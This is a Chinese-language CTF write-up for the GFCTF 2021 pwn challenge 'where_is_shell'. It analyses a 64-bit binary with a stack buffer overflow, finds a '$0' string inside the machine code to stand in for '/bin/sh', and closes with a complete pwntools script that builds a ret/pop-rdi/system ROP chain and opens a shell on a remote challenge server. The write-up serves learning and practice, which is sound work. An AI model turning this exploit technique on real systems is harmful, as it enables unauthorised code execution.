889.[GFCTF 2021]where_is_shell(system($0)64位)
[GFCTF 2021]where_is_shell
(1)
1.準備
motaly@motaly-VMware-Virtual-Platform:~$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7475d68277d0c9c5d2060591d874af8a5ed0f8e9, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=shell
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 63 Symbols No 0 1 shell
就開了一個NX保護
2.ida分析
main函數
int __fastcall main(int argc, const char **argv, const char **envp)
{_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREFsystem("echo 'zltt lost his shell, can you find it?'");read(0, buf, 0x38uLL);return 0;
}
read最多讀取56(0x38),但buf大小為16,所以存在緩沖區溢出
tips函數(后門函數)
__int64 tips()
{return MEMORY[0x403569]();
}
這里ida暴紅,感覺這個地址或函數是有用的,不過一時間不知道有啥用
同時淺查了一下,這里是直接跳轉到內存地址0x403569執行代碼
總的這里
先看棧情況
-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
###### -0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
###### -0000000000000010
###### -0000000000000010 _BYTE buf[16];
###### +0000000000000000 _QWORD __saved_registers;
###### +0000000000000008 _UNKNOWN *__return_address;
###### +0000000000000010
###### +0000000000000010 // end of stack variables
得到偏移量為0x10+8
然后有system函數,但是沒找到'/bin/sh'等連接路徑
?
?
看了其他的wp發現了一個關鍵點在tips函數中那個地址的機械碼
?
24和30轉換成10進制ASCII碼$0
這里就涉及一個新的知識點:
/bin/sh?是執行腳本的解釋器
$0可以是shell腳本中的特殊變量,0表示當前腳本的名稱
在特定的一些情況下,$0可以起到'/bin/sh'的效果,但不是$0等于'/bin/sh'
這道題就是特定的情況
3.EXP
思路:
有了'/bin/sh'的替代$0和system,就是一個簡單的64位棧溢出system('/bin/sh')
1.我們可以先獲得system和$0的地址
2.然后64位里傳參需要寄存器和64位可能會涉及到堆棧平衡,所以需要一個寄存器和ret地址
3.最后構造ROP鏈,獲得連接
在ida中查看
?
得到system地址為0x400430
?
因為24前還有一字節E8,所以$0的地址是0x400540+1=0x400541
通過ROPgadget指令對寄存器和ret進行查找
?
選擇rdi寄存器,rdi地址為0x4005e3,ret地址為400416
最后構造ROP鏈
payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)
先是偏移量,然后為了堆棧平衡寫一個ret填充,再是寄存器和參數shell($0),最后返回地址system
(64位是先寫參數再寫返回地址,所以雖然我們要的是system+$0,但$0和寄存器在前面)
總的腳本如下
from pwn import *
context.log_level = "debug"
io=remote('node4.anna.nssctf.cn',28217)
# io= process('/home/motaly/shell')
system=0x400430
shell=0x400541
rdi=0x4005e3
ret=0x400416
payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)
io.sendlineafter(b'zltt lost his shell, can you find it?\n',payload)
io.interactive()